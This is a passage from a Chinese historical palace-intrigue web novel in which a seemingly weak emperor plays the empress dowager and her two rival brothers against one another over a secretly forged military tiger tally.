一环扣一环,所有看似针对徐敬意的风波,最终竟然都巧妙地引导了自己今日向皇帝的彻底臣服。 江如松后背瞬间被冷汗浸透。 这心思!这手段! 他感到的不是被算计的愤怒,而是一种近乎恐惧的敬畏! 他才终于明白,眼前之人绝非池中之物。 与这样的对手为敌? 不,那是取死之道! 徐敬意那个刚愎自用的蠢货,只怕如今都不知道自己已经被皇帝玩弄于股掌之中。 几乎是在回神的瞬间,强烈的生存本能和对权力的渴望压倒了一切。 江如松身体比思想更快一步,在乾清宫外的冰凉石阶前猛地矮下身,重重地双膝跪地。 “微臣愚钝!一叶障目,不识泰山!”他的额头紧紧贴在冰冷的石砖上。 “微臣今日得窥天心,方知陛下雄才大略,自今日起,江某唯陛下马首是瞻!” 郑遂没有立刻说话,任由江如松的额头紧贴着冰凉的石阶。 直到江如松的呼吸因为紧张而变得急促时,郑遂才缓缓开口。 “江爱卿请起,这乾清宫的门,你今日能叩响。日后,便能进得。” 郑遂微微仰头,望着深沉的夜空,嘴角勾起一抹浅浅淡淡的笑意。 这第一步,算是彻底成了。 那自己的下一步计划,终于可以开启了。 几日后,徐妍再一次来到了寿康宫。 “太后娘娘,您安排给奴婢的任务,如今终于有了眉目。奴婢四处寻找,如今终于寻到了一位真正的绝世能工巧匠。” 第30章 怎可让他钻了空子 软榻上的徐妙晴微微挑眉,似乎并不太意外。 郑遂近来愈发地沉迷于女色了,而且也不仅限于徐妍,还召了更多的姬妾来。 在一边按照计划掏空郑遂身体的同时,徐妍也有了时间去处理自己安排的事儿。 如今终于有了眉目,并不出乎意料。 徐妙晴端起茶盏,轻轻撇去浮沫:“能找到是好,可世间能工巧匠众多,他有何等本事,值得你如此夸赞?他是谁。” “此人复姓南宫,单名一个冶字。祖上几代都是为皇室督造兵符印信的大匠,技艺已至化境,”徐妍恭敬的道。 “最难得的是,南宫家族乃是服务于前朝的老臣,自郑氏当政之后,一家子人都已经归隐。而且,他们最恨大齐……” 有这么个人帮忙,的确是个很大的助力。 徐妙晴微微眯眼,手中的茶盏盖轻轻磕在了杯沿上,发出一声脆响。 “倒是个可用的,只是此物一旦失手,便是灭族之祸,他可知晓?” “娘娘明鉴!这等灭门大罪,他若无十足把握,怎敢妄言?况且此事隐秘至极,他若非有祖传秘技和图纸在手,也不敢让奴婢知晓。”徐妍声音压得更低。 “只要娘娘首肯,南宫冶便在宫中秘密开炉。” 是啊,只是自己点个头的事。 若能掌握在自己手中,无论是用来号令真正的军队威慑四方,还是做个一模一样的赝品以备不时之需,都将是她手中一张无可替代的王牌。 巨大的诱惑瞬间冲垮了理智的堤防,立刻召见了南宫治。 南宫治年约四十,身材瘦削,衣着朴素,的确像是归隐许久的人。 他垂首走进大殿,面对徐妙晴的审视和一连串刁钻问题,他不卑不亢,对答如流。 徐妙晴也亲自查看了他带来的一些样品物件,的确无不工艺精湛,巧夺天工。 尤其其中一枚玉印,纹路之细密,与宫中宝印几无二致。 她心中仅存的一丝疑虑,终于被眼前这实打实的手艺所打消。 但南宫冶说复刻虎符非同小可,需要特定的场地,最上等的材料,一步都错不得。 “既如此。”徐妙晴朱唇轻启,“南宫先生便留在哀家的寿康宫偏殿内苑,所需一应物事,哀家为你备齐。从今日起,你便专心炼制虎符,哀家要看到你倾尽所能的结果。” 她没有提任何封赏的承诺,但威胁之意却无需言表。 留下他,是看重其技艺,更是要将他牢牢掌控在手心,绝不能走漏半点风声。 南宫冶躬身领命:“小人遵旨,定不负太后厚望。” 徐妍见状,恰到好处地起身告退:“娘娘思虑周全,如此一来必是万无一失。奴婢这就去将南宫先生留下的一应用具明细,寻人去准备。” 徐妙晴微微颔首,心思已全然沉浸在即将到手的虎符幻想之中,并未留意到徐妍转身告退之际,与垂首肃立的南宫冶目光交汇了片刻,又很快挪开。 徐妍回到乾清宫,回禀给了郑遂。 年轻的皇帝漫不经心地拨弄着盘中的蜜饯,手指拈起一颗金黄的杏脯。 他张开嘴,将那颗蜜饯送入口中。 “甚好。” 他咀嚼了几下,咽下蜜饯,才悠悠补上了一句:“既如此,就把这风儿吹一吹,也该传到徐敬若的耳朵里去了。让他知道,太后娘娘要做什么。” 徐妍垂手侍立一旁,面色平静,心中却是猛地一沉。 郑遂这是要玩火! 这已非借力打力,分明是在点燃足以焚毁整个朝堂的烈火。 只有这天下彻底乱了,郑遂才能在其中脱颖而出,他这个名义上的皇帝,才能得到真正的重视,才会有人听他说什么做什么。 想到此处,徐妍手心已经微微冒汗。 她知道郑遂胸有丘壑,但这步棋,未免太险。 那虎符若真被逼到台面上,太后震怒,徐敬意疯狂反扑,徐敬若又在其中搅浑水。 那在这漩涡之中,郑遂真能全身而退,还能达成真正的目的? “不必忧虑。”郑遂说道,“徐敬若若知道这事,必会巴不得的往上凑呢,他绝对不会宣扬出去。” 徐妍忍不住抬眸看向郑遂,欲言又止,最终却只垂首,恭声道:“奴婢遵旨。” 不出数日,京城暗流涌动。 最近京城中人人皆有耳闻,说是保皇党阵营中几位资历深厚,绝对不向徐敬意屈服的老臣竟频频与徐敬若烩面。 紧接着,便传出了一个更炸裂的消息。 这徐敬若通过这几位老臣牵线搭桥,要向户部呈递一份慷慨得近乎不合常理的奏报。 他声称感念国事艰难,愿捐献家族积蓄的无数银粮充实国库,已被朝廷不时之需。 这哪里是单纯的捐献? 分明是以泼天之财,敲开保皇派的大门,向皇帝投诚,同样也是明晃晃的告知天下,他与徐敬意彻底撕破了脸。 这消息很快就传到了徐敬意面前。 砰! 上好的青瓷茶盏被徐敬意狠狠掼在地上。 他已是气得脸色铁青,头晕目眩。 好半晌才终于发出一声怒吼。 “徐敬若!好你个吃里扒外的畜生!竟敢……竟敢绕开我,去舔那些老不死的脚底板!” 捐粮入国库? 好一招釜底抽薪! 想用钱粮收买人心,取代自己的地位?做梦! 好在是皇宫中没有传出任何风声来,保皇派那边也没有做出最终的决断来。 这个机会若不出手,只怕来不及了。 徐敬意再也坐不住了,一路风驰电掣的闯进了宫中。 乾清宫的暖阁内檀香氤氲,郑遂姿态闲适的品着茶,悠闲的不得了。 见到徐敬意来,郑遂还面露惊讶:“徐爱卿最近不是一直在府里避风头吗?怎得这会儿来了?” 徐敬意草草行了一礼,不等赐座,便急切地开口:“陛下!徐敬若的事,地下想来也听说了。那厮近来嚣张跋扈,不仅四处串联旧贵,更妄图以捐输示好保皇一派!此獠野心昭昭,动摇国本啊!陛下不是允诺,会替老臣与诸公说项?为何迟迟不见动静,反倒让那竖子钻了空子?!” 第31章 简直是愚蠢至极 郑遂放下茶杯,抬起眼,脸上闪过一丝惊愕。 “竟有此事?丞相息怒!朕当真不知情啊!朕这几日一直在劝说诸位老臣,实在是不得空,再说了,外边的消息朕哪知道。” 郑遂摊开了手,耸了耸肩。 徐敬意一口气憋在了胸膛里,险些没直接死过去。 是啊,是他将皇帝困在了宫中内外不得出,又得不到外界的任何消息,如何能怪得了郑遂? 便只好问道:“那……成效如何呢?” 郑遂深深地叹了口气:“这些老大人性子执拗,对当初丞相……嗯……某些举措似乎还有些芥蒂未消。唉,朕虽贵为天子,也不好过分逼迫老臣啊。” 徐敬意死死盯着郑遂的表情,眼中怒火更炽。 果然是个扶不起的阿斗!连这点事都办不利索! 郑遂敏锐地捕捉到他目光中的变化,心中冷笑,面上却越发诚恳,甚至带着点掏心窝子的意味。 “丞相放心!朕对丞相之心,日月可鉴!丞相乃擎天之柱,朕深知若无丞相扶持,这江山社稷万难安稳。朕是真心……真意盼着丞相能早日……咳咳……” 他话未说尽,那“登临至尊”的意思却已是昭然若揭。 这几句肺腑之言像是一瓢热油浇在徐敬意的怒火上,瞬间点燃了他压抑多日的野心。 那点不快似乎也暂时被这份知遇之恩压了下去。 他精神一振,连忙接口:“陛下圣明!老臣鞠躬尽瘁,万不敢负皇恩!今日老臣觐见,除了徐敬若那孽障之事,也确有一桩关乎国本的要事思虑良久,需向陛下禀明。” 郑遂眼中精光一闪,身体微微前倾。 “徐爱卿深谋远虑,快快道来!可有何妙计?” 徐敬意清了清嗓子,声音压低。 “陛下,如今各地藩王,虽表面臣服,然秦王叛乱在前,人心难测,其余诸王恐亦在暗中窥伺皇权。朝廷鞭长莫及,仅凭旨意恐难镇慑宵小。臣以为,当务之急,唯有派遣真正的朝廷重臣亲赴藩国领地,以陛下威仪,以皇家重恩,动之以情,晓之以理,震慑归劝!” 他顿了顿,目光灼灼地盯着郑遂。 “而普天之下,能担此重任又者,非保皇一派中的老臣莫属。唯有他们,带着先帝遗泽与陛下赐予的荣宠,方显朝廷恩威并重,才能使诸藩惕然自省,不敢再生异心!” 郑遂忍不住在心中吐槽了一句。 搞得好像自己很正义,费尽心机的想安邦定国似的。 可这实际上不还是因为迟迟不能打入保皇党一派,所以故意出了个主意,让自己做决定吗? “妙!妙啊!” 郑遂猛地一拍案几,装出一副毫不掩饰的赞叹,激动得几乎要站起来。 “徐爱卿此计,正解朕心头大患!只是……此等重任需一位能压得住场面的人统筹全局才是……” 他适时地露出忧虑之色,眼巴巴地看向徐敬意。 鱼儿上钩了! 徐敬意心中狂喜,强行按捺住激动,正了正衣冠,朗声道。 “微臣不才,愿为陛下分忧,做这安藩特使。率领保皇诸公,代天子巡守,安定诸藩!” 心中却不由得冷哼一声。 郑遂这小子虽然优柔寡断,但他的话对保皇党确实有影响力。 自己以皇帝名义,打着安藩的正大光明旗号统领这支队伍,有皇帝圣旨在手,那些老顽固再不服气,也不敢明着抗旨。 届时自己这特使大权在握,正好在各地大肆安插亲信,培植羽翼,笼络人心。 既能避开京城徐敬若的锋芒,又能趁此机会将势力延伸至藩王领地,一举多得。 而且等保皇党到了自己手中,该怎么拉拢怎么威慑,不还是自己的事? 届时天高皇帝远,他们就算是想寻求证实的帮助也不能。 除非真有勇气,一头撞死也不臣服于自己! 至于徐敬若,就让他在京城里蹦哒吧。 保皇党都被自己带走了,看他能找谁。 等自己带着更大的功勋与势力班师回朝,看你还能翻出什么浪花! “好!好!好!有徐爱卿出马,朕高枕无忧矣!”郑遂抚掌大笑,旋即高呼。 “王喜!快!备笔墨!朕要即刻下旨!” 王喜应声捧来笔墨纸砚,郑遂挽起袖子,立刻拟旨。 他一边写着,一边不忘嘱咐:“徐爱卿此行务必多加珍重,朕在京城等着你回来。” “陛下圣明!”徐敬意深深叩首谢恩。 藏起的脸上,却满是对郑遂的嘲讽。 蠢笨无知! 等功成之后,保皇一派,藩王势力,终将尽归自己所有。 到时候你即便是想反悔,不送我登上的九五至尊之位,也是来不及了! 郑遂扶着书案,目送徐敬意大步离去的背影,他缓缓坐回龙椅,嘴角勾起一抹淡淡的笑。 徐敬意啊徐敬意,你很有野心,又岂知自己不会葬在这野心之上? 现在你与其与别人较劲,非要争个明白,倒不如想一想,怎么才能将那些人真正控制在掌心之中。 否则一旦那些势力反扑,你除了死以外,没有任何出路。 而很快,这消息就传到了徐妙晴的耳朵里。 “你说什么?皇帝同意了?” “是……”徐妍颤颤巍巍的点头,“太后娘娘恕罪,奴婢想要劝阻,陛下说,若是不答应他,只怕他会怀疑到太后娘娘的头上,所以这才……” “糊涂!”徐妙晴拍案而起。 “就算是他再怎么不想引起徐敬意的怀疑,可也不能如此行事!” 本来徐妙晴就一直想拉拢那些老臣,如今自己没拉拢成,却冒出来个徐敬若。 徐敬若也没成,反而是徐敬意先带着那些人离开了。 这场面这么混乱,以后保皇党到底应该听谁的? 再者说了,万一他们真的屈服于徐敬意的威压,那自己的处境可就…… 徐妙晴瘫坐在了软榻之上。 自己本就是被徐敬意强行送进宫的,她所以有野心可也知道自己只是一个女子,很难成大事。 郑遂这愚蠢的决定,不是等同于将自己往火坑里推吗! 第32章 不如留在哀家身边 啪! 又一个价值连城的白玉镇纸被狠狠摔在地上,瞬间四分五裂。 碎片飞溅,吓得殿内侍立的宫女太监们齐刷刷跪倒一片,瑟瑟发抖,连大气都不敢喘。 徐妙晴胸口剧烈起伏,凤眸中燃烧着熊熊怒火。 “他眼里还有没有哀家这个太后!” 她猛地指向跪在殿中央的徐妍:“你连这都拦不住,简直无能!你可知,徐敬意一旦将保皇党收服于麾下,他羽翼丰满,下一个要对付的,就是哀家!就是皇帝自己!他郑遂难道不懂吗?!” 徐妍额头紧贴着冰冷光滑的金砖,后背早已被冷汗浸透。 “娘娘息怒!奴婢该死!可……可陛下说……” “他说什么?!”徐妙晴厉声喝问。 “陛下说,与其引火烧身,不若暂且应允,以安其心,再徐徐图之。” “徐徐图之?他拿什么图?!” 徐妙晴气得浑身发抖,声音都变了调。 “保皇党被徐敬意带走,哀家身边除了江如松的老贼,根本无人可用!郑遂他这是要把哀家往死路上逼!” 愤怒几乎吞噬了徐妙晴的理智,拉拢保皇党是她制衡徐敬意的关键棋子,是她摆脱纯粹“后宫妇人”身份,剑指真正朝政的倚仗! 如今这颗棋子被徐敬意堂而皇之地“借”走,她瞬间感觉自己被抽掉了最重要的支柱。 而郑遂的“配合”,在她看来就是彻头彻尾的愚蠢背叛! 她甚至怀疑,郑遂是不是已经和徐敬意达成了某种默契,要联手除掉她这个碍事的太后! 徐妙晴跌坐回软榻,一股寒意从脚底直窜头顶。 不行!绝不能坐以待毙! 一个疯狂的念头钻入她的脑海。 既然郑遂靠不住,既然保皇党指望不上,那就只能靠自己手中这枚即将诞生的虎符,行险一搏了! 她要的不是号令谁,而是用这枚足以乱真的虎符,搅动更大的风云,在混乱中为自己争取绝对的主动! 甚至必要时,还得用它来证明某些人的不轨之心。 比如也在同样寻找虎符踪迹的徐敬意! 徐妙晴猛地坐直身体。 “南宫冶呢!他进度如何了?” 徐妍连忙回道:“回娘娘,南宫先生日夜赶工,未曾懈怠。方才奴婢来时,他说主体基本完成,正在精雕细琢符身隐秘的纹路,并调配最后用以做旧仿古的药水。若无意外,三日之内当可功成。” “三日……”徐妙晴喃喃道,眸中精光闪烁,“好!哀家就再等三日!徐妍!” “奴婢在!” “传哀家懿旨。”徐妙晴声音冰冷。 “从即刻起,寿康宫偏殿方圆百步之内列为禁地。增派内廷侍卫,严密把守。任何人,无哀家手谕,胆敢靠近者。无论是谁,格杀勿论!” “是!”徐妍心中一凛,立刻领命而去。 殿内再次恢复死寂,徐妙晴独自一人坐在软榻上,手指无意识地绞着锦帕。 徐敬意,看看你我兄妹二人,究竟谁才能笑到最后! 与此同时,丞相府内却是另一番景象。 徐敬意坐在书案后,看着手中那份加盖了皇帝私印的“安藩特使”任命诏书,脸上终于露出了连日来第一个发自内心的笑容。 郑遂小儿,终究还是怕了!乖乖地按本相的棋路走了! 徐敬意抚摸着诏书上的龙纹,仿佛已经触摸到了那至高无上的权柄。 有了这道圣旨,那些冥顽不灵的老东西,就算心里再不服,也得乖乖跟着他走! 天高皇帝远,等他携大势而归,这京城,这龙椅…… 哼! “来人!”徐敬意喊道。 心腹幕僚迅速进入书房:“相爷有何吩咐?” “名单拟好了吗?”徐敬意沉声问道。 “已拟好,请相爷过目。”幕僚恭敬地呈上一份名单。 徐敬意接过,目光扫过上面一个个名字。 这些都是他精心挑选,要随他一同离京的班底。 既有骁勇善战的将领,也有擅长谋略的心腹,更有不少准备安插到各地藩镇和保皇党队伍中的钉子。 “很好!”徐敬意满意地点点头,“传令下去,让他们即刻准备,三日后随本相离京!另外……” 他眼中闪过一丝狠辣,“通知我们在保皇党里的朋友,让他们在途中好好照顾一下那几个最顽固的老家伙。本相要让他们明白,顺我者昌,逆我者亡!” “是!”幕僚领命而去。 徐敬意走到窗边,望着京城璀璨的万家灯火。 这盘棋,他徐敬意才是真正的执棋者! 三日时光悄然而过。 这三日内,京城发生了不少大事。 徐敬若没能搭上保皇党一派的船,便开始更为张扬的在京城之中广施善事。 徐敬意则带着不少人马离开了京城,前去安抚各位藩王了。 而寿康宫偏殿内苑里,却是一片死寂,只有金属摩擦之时令人牙酸的声音。 南宫冶赤着上身,正小心翼翼地用特制的药水一遍遍反复涂抹擦拭着虎符的表面。 随着他的动作,虎符那过于新的金属光泽迅速褪去,取而代之的是一种仿佛历经了无数岁月洗礼的古朴铜锈之色。 细小的铜绿斑点恰到好处地分布在符身各处,连磨损的痕迹都被精心仿造出来,浑然天成,看不出丝毫人工做旧的破绽。 徐妍静静地站在角落里,看着那枚逐渐成型的虎符,心越来越沉。 时间一点点流逝。 终于南宫冶停下了所有动作,他长长地吁出一口气,拿起一块柔软的鹿皮将虎符表面最后一点残留的药液擦拭干净。 “成了。” 徐妍走上前,仔细端详。 饶是她早已知道这是赝品,此刻也找不出任何破绽。 “先生辛苦了。”徐妍道,“娘娘想必已等候多时,容奴婢去禀报。” 她转身走向通往主殿的侧门,推开门的瞬间,徐妙晴的双眸便死死地盯住了她。 “如何?” “回禀娘娘,”徐妍垂首,“南宫先生功成,虎符已现世。” “好!好!好!”徐妙晴猛地从软榻上站起,“快!快呈上来!” 第33章 想来母后会喜欢 徐妍侧身让开,南宫冶双手捧着一个铺着明黄锦缎的紫檀托盘走了进来。 托盘中央,那枚黝黑的虎符静静躺着。 徐妙晴几乎是扑了过去,一把将虎符抓在手中。 入手冰凉沉重,扑面而来的威压感,让她的心脏狂跳不已。 她迫不及待地翻转符身,仔细辨认着上面那些复杂的符篆和印记。 没错,与她手中剩余的那半块虎符别无二致! “天助哀家!天助哀家啊!”徐妙晴激动得声音都变了调。 “南宫冶,你立下了大工!”徐妙晴猛的转头看向南宫治,“哀家重重有赏!你想要什么?黄金?美人?还是爵位?” 南宫冶缓缓抬起头:“太后娘娘厚恩,小人愧不敢当。小人别无他求,只求娘娘兑现承诺。” “承诺?”徐妙晴一愣。 “三日之前,娘娘曾言,事成之后,允小人查阅宫中秘藏的前朝天工图谱全本,并赐予小人自由之身。” 徐妙晴脸上的笑容微微一僵。 自由? 南宫冶知道了如此惊天秘密,放他自由?简直是痴人说梦! 她眼中闪过一丝不易察觉的阴鸷,但瞬间又被虚假的笑容取代:“南宫先生放心,哀家一言九鼎!图谱之事,待此间事了,哀家自会安排。至于自由……呵呵,先生如此大才,哀家怎舍得放你离去?留在哀家身边,荣华富贵享之不尽,岂不比山野隐居强过万倍?” 南宫冶的眉头几不可察地皱了一下,但他没有争辩,只是再次深深低下头:“一切但凭娘娘安排。” 徐妙晴满意地点点头,注意力立刻又回到了手中的虎符上,眼神变得无比炽热和贪婪。 “徐妍!” “奴婢在。” “将此符小心收好,置于哀家寝殿的暗格之中!没有哀家的命令,任何人不得触碰。此事也不许透露给任何人,包括……皇帝!” “是。”徐妍恭敬地接过托盘,小心翼翼地捧着那枚足以搅动天下风云的“凶物”,退向徐妙晴的寝殿。 安放好后,徐妍深吸了一口气,悄然退出,回到了乾清宫中。 推开西暖阁的门,熟悉的檀香气息萦绕鼻尖。 郑遂如往常般斜倚在窗边的软榻上,正慢悠悠地提起茶壶,将清澈的茶汤注入杯中。 杯口氤氲起袅袅白雾,衬的郑遂眼下那两抹青黑更加明显,多了几分被酒色掏空的颓靡感。 可当他抬眸望过来时,那双眼睛却如寒潭深水,哪有半分昏聩? “回来了?”郑遂的声音带着一丝慵懒。 “陛下。”徐妍垂首。 郑遂放下茶壶,修长的手指拈起小巧的茶杯,轻轻吹拂着茶汤的热气,目光却落在徐妍空着的双手上。 唇角勾起一抹极淡的弧度:“虎符何在?” 徐妍没有言语,只是缓缓抬起手臂,宽大的宫装袖袍滑落,露出一截白皙的手腕。 手指探入袖中,一枚通体黝黑青铜虎符被小心翼翼地托在掌心,递到郑遂面前。 这枚虎符与寿康宫偏殿中的那枚几乎一模一样,同样精雕细琢,做旧逼真。 可若细看其虎首双目间的细微纹路,以及符身某处极其隐蔽的符篆转折,便会发现一丝极其微妙的差别。 可这差别细微得如同发丝,若非深谙其秘,绝难察觉。 “正在此处了。”徐妍的声音依旧平稳。 郑遂并未立刻接过,目光在那枚虎符上流连片刻,眼中闪过一丝欣赏,随即化为更深的玩味。 这才他伸出手接过,指尖轻轻拂过冰冷的符身,发出一声低笑:“呵……南宫冶,不愧是天下难得的巧手。” 一炉同出,双虎竞生。 亦真亦假,一真一假。 妙,当真是妙极。 郑遂指尖一挑,将那枚真虎符稳稳地纳入掌中。 他掂量着,脸上的笑意更深:“太后那边……想必是高兴坏了?” “是。”徐妍垂眸答道,“娘娘视若珍宝,已命奴婢将其藏入寝殿暗格,严令任何人不得触碰,包括陛下您。” 她顿了顿,补充道:“而且,太后将南宫冶留在了寿康宫。” “哦?”郑遂眉梢微挑,眼中精光一闪即逝,随即化作一抹了然于胸的讥诮。 他慢悠悠地品了一口香茗,语气轻松:“那正合适。母后正当盛年,一个人在寿康宫终归会寂寞。南宫冶虽年纪大了些,但样貌儒雅,气质沉凝,母后会喜欢的。” 徐妍只觉得一股寒意瞬间从窜上脊梁骨。 她缓缓咬紧了嘴唇,指尖深深掐入掌心。 郑遂的招数……真是越发阴损,却也越发高明了。 太后自以为掌控了人质,殊不知,她其实是将一个致命的祸源留在了身边。 郑遂似乎并未在意徐妍瞬间的僵硬,话题自然地转向了另一边。 “徐敬若如何?” 徐妍强压下心头的刺骨的冰冷,迅速回禀:“徐敬若广施善事,其心昭然,但保皇党离京,他急于寻找新的突破口,动作越发张扬。” “嗯。”郑遂微微颔首,放下茶杯。 “既然他如此尽忠,那朕就给他一个尽忠的机会。你让江如松借着太后调令的由头,给徐敬若透个消息出去……” 徐妍心中猛地一凛。 郑遂这是要引狼入室,要将太后彻底架在火上烤。 “奴婢遵旨。”徐妍深深吸了一口气,躬身领命,转身退了出去。 几日后,郑遂顶着一双浓重得几乎遮不住的黑眼圈,脚步虚浮地踏入了寿康宫。 寿康宫大殿内,徐妙晴正斜倚在软榻上,手中把玩着一枚玉如意,心中盘算着如何利用暗格中那枚虎符搅动风云。 听闻皇帝驾到,她抬头望去,就见郑遂,一脸憔悴。 心中先是一喜,暗赞那药的效力果然显著,这么快就将郑遂掏空成了这般模样,看来离彻底掌控又近了一步。 可当她目光掠过郑遂,落在他身后那个人影上时,脸上的从容笑意却瞬间僵住。 “徐敬若?!”徐妙晴的声音陡然拔高,“你……你如何进得了宫?!谁准你进来的?!” 第34章 当真以为尽收囊中了 保皇党已被徐敬意带走,徐敬若这条丧家之犬在京城本该寸步难行,他是如何绕过重重宫禁,甚至能跟在皇帝身后,大摇大摆地出现在她面前?! 郑遂像是被徐妙晴的厉声质问吓了一跳,身体微微一晃,扶着额头,一副宿醉未醒又强打精神的模样。 眨了眨眼睛,声音带着几分委屈的解释:“母后……母后莫慌。” 他摆摆手:“徐公前日江尚书递了封陈情信,言辞恳切,说什么感念母后恩德,又说什么京城流言纷扰,他忧心母后清誉受损,想亲自面见母后,以全以全孝悌之心?哦,对,孝悌之心!” 他喘了口气,仿佛说这么多话很费力气,又揉了揉太阳穴。 “儿臣想着,左右也都是母后娘家人。不管以前有什么龃龉,许久未见,血脉相连,心里头估计都想念的很。见个面,叙叙旧,把话说开了,也是好的。这不,正好儿臣要来给母后请安,就顺道把他给带进来了。母后不会……怪儿臣多事吧?” 郑遂说完,怯生生地看了徐妙晴一眼。 徐妙晴气得差点吐血! 想念?孝悌? 徐妙晴在心里冷笑连连,暗中狠狠剜了郑遂一眼。 这个蠢货!他知不知道自己在做什么?! 徐敬意和徐敬若这对兄弟早已势同水火,自己作为徐敬意的表面上的盟友,私下会见徐敬若,这消息一旦传到正在徐敬意耳朵里,他会怎么想? 他会怎么看待自己这个妹妹? 这简直是把她架在火上烤! 皇帝和江如松那个老贼,到底安的什么心?! 徐敬若立刻捕捉到了徐妙晴眼中的怒火和忌惮。 他上前一步,姿态放得极低,深深一揖,声音带着十二分的真诚:“太后娘娘息怒!千错万错,都是草民的错!草民不该贸然请托江尚书,更不该惊扰陛下与娘娘清净!实在是草民心中对娘娘的思念与担忧,日夜煎熬,寝食难安啊!” 徐静茹抬起头,眼中竟似有泪光闪动。 “娘娘!如今二弟……丞相他离京巡藩,看似为国分忧,实则恐有不臣之念!京城空虚,娘娘与陛下身居九重,安危系于一线,臣虽不才,愿倾尽家财,捐输钱粮,招募义勇,拱卫宫禁。只求娘娘给臣一个机会,让臣能为娘娘、为陛下分忧解难!” 徐妙晴原本对徐敬若充满了不屑。 一个被徐敬意压得抬不起头的废物,也配来投靠自己? 但徐敬若开出的条件实在太诱人了! 倾尽家财,这可意味着可以立刻动用的资源多了许多。 尤其是在保皇党被带走,她深感孤立无援的当下。 他又明确表示愿意和自己同心同德,对抗徐敬意,可不正是她内心深处最迫切的需求! 徐妙晴脸上依旧维持着高傲,但眼神却悄然松动了一丝。 郑遂适时地在一旁开口。 他捂着嘴咳嗽了两声,虚弱地道:“母后……咳咳……徐大人一片赤诚,所言……似乎也有些道理。如今京城,确实……咳咳……需要些得力之人。徐大人既是母后娘家人,又如此忠心,不如……不如就给他个机会?” 徐妙晴的心彻底动摇了。 郑遂的糊涂建议,此刻却反而成了推她一把的力量。 徐妙晴深吸一口气,端足了太后的架子,凤眸居高临下地审视着徐敬若,声音恢复了惯有的慵懒,却带着施舍般的口吻。 “徐敬若,你既有此心,哀家念在同出一脉的份上,便给你一个机会。你所言捐输钱粮、招募义勇之事,哀家允了。不过……” 她话锋一转,语气陡然转冷。 “哀家有几个条件。” 徐敬若面上却愈发恭敬:“请娘娘示下!臣万死不辞!” “其一,所募义勇,须得登记造册,详列名目、籍贯、所用兵器,交由内廷侍卫统领统一节制!不得私蓄兵甲,更不得擅入宫禁!其二,捐输钱粮,须得实打实送入内库,由哀家指定之人清点接收,不得有半分克扣短缺!其三……” 徐妙晴顿了顿,眼神锐利如刀。 “你与徐敬意之争,乃徐家之事。哀家深居宫中,不欲过多掺和。你若有本事扳倒他,哀家乐见其成,但你若想借哀家之名行不轨,或是引火烧身连累哀家……休怪哀家翻脸无情!” 这几个条件极其苛刻,几乎是把徐敬若当成了一条可以驱使,但必须拴上锁链的恶犬。 徐敬若心中暗骂徐妙晴贪心狠毒,但脸上却堆满了感激涕零的笑容:“娘娘圣明!臣谨遵懿旨!娘娘所命,条条款款,臣必当竭尽全力,绝不敢有丝毫懈怠!定不负娘娘厚望!” 目的初步达成,郑遂似乎耗尽了最后一点精力,脸色愈发苍白,身体也微微摇晃起来。 他扶着额头,声音更加虚弱:“母后……徐大人……你们……你们既已说定,儿臣……儿臣实在头晕得厉害,怕是……怕是撑不住了。容儿臣先行告退……” 徐妙晴此刻心思全在如何利用徐敬若上,又见郑遂那副被掏空的样子,只觉厌烦,巴不得他赶紧走,便随意地挥了挥手。 “皇帝既身子不适,就快些回去歇着吧。好生将养,莫要再……胡闹了。” “儿臣……告退。”郑遂如蒙大赦,在王喜的搀扶下,脚步虚浮地离开了寿康宫。 殿内只剩下徐妙晴和徐敬若,以及远远侍立?大气不敢出的宫女太监。 徐敬若看着郑遂的背影消失在殿门外,脸上的谄媚笑容瞬间收敛了几分,取而代之的是一种难以言喻的深沉。 他上前一步,姿态依旧恭敬,但声音却压得更低:“太后娘娘……” 徐妙晴正盘算着如何利用徐敬若的钱粮,闻言有些不耐:“还有何事?” 徐敬若环顾了一下四周侍立的人,低声道:“臣还有一物,比之钱粮更为宝贵,欲单独献于娘娘。此物关乎娘娘千秋大业,不宜为外人所知。” 比钱粮更宝贵?关乎千秋大业? 徐妙晴慵懒倚在软榻上的身体微微坐直了些,眸中闪过一丝兴味。 这个徐敬若,难道真有什么好东西? 她倒是也想看看徐敬若还能玩出什么花样。 “哦?”徐妙晴挑了挑眉,“是何等宝贝,值得你如此神秘?” 她挥了挥手,对殿内的宫女太监道:“都退下吧。殿外候着,没有哀家的吩咐,不得入内。” “是。”宫女太监们鱼贯而出。 空旷奢华的大殿内,只剩下徐妙晴和徐敬若二人。 徐敬若见再无旁人,脸上最后一丝伪装的笑容也彻底消失。 他缓缓直起身,向前走了几步,一直走到徐妙晴的软榻前。 用只有两人才能听到的声音,一字一句地说道:“太后娘娘,私制虎符,瞒天过海,想来当真是以为这天下已尽收囊中了?” 第35章 让我代替他 徐妙晴脸上的血色尽数褪尽,凤眸圆睁,死死盯着眼前这个她从未真正放在眼里的废物大哥。 “你、你胡说什么?!”徐妙晴尖声质问。 徐敬若脸上再无半分谄媚,取而代之的是一种极为坦然却处处透着威胁的申请。 他微微前倾身体,声音压得更低,却字字清晰:“娘娘,若要人不知,除非己莫为。南宫冶在寿康宫偏殿里叮叮当当敲打了三日,真当宫墙是铁板一块?您真以为,您身边所有人,都只认您这一个主子?” 他嘴角勾起一抹讥讽的弧度。 “虎符,假的吧?但足以让您万劫不复。私铸调兵虎符,形同谋逆!这消息,若是此刻传到正在安抚藩王、手握重兵的徐敬意耳中,您猜猜,他是会顾念兄妹之情,还是会立刻调转矛头,以清君侧、除妖后之名,名正言顺地将您和您的小皇帝碾为齑粉?” 徐妙晴浑身一震。 她精心策划,甚至视作翻盘王牌的绝密行动,竟在徐敬若眼中如同儿戏? 或许,这更是催命符! “是谁说的?!” 徐妙晴?赵嬷嬷?还是谁? 徐敬若淡然一笑,语气中尽是威胁。 “太后娘娘不必去管谁说出去的,因为现在谁说都不要紧。重点是,我知道了这件事,并且随时都能宣扬出去。” “你、你到底想怎样?!”徐妙晴彻底失了底气。 徐敬若满意地看着她眼中的恐惧,慢悠悠地开口:“很简单。娘娘想用这虎符搅动风云,成就不世之功,臣弟不才,也想分一杯羹。事成之日,我要徐敬意现在拥有的一切。他的相位,他的权柄,他掌控的势力!我要他跪在我脚下,仰我鼻息!” 这简直是狮子大开口! 徐妙晴气得浑身发抖,几乎要破口大骂。 但徐敬若那阴冷的目光,以及他手中握着的足以将她打入地狱的把柄,竟让她硬生生将怒骂咽了回去。 徐妙晴死死咬着牙,很快就尝到了血腥味。 “好……”徐妙晴几乎是从牙缝里挤出了这个字。 “哀家答应你,事成之后,徐敬意的一切,归你。但你要记住,若你敢耍花样,哀家就算粉身碎骨,也要拉你陪葬!” 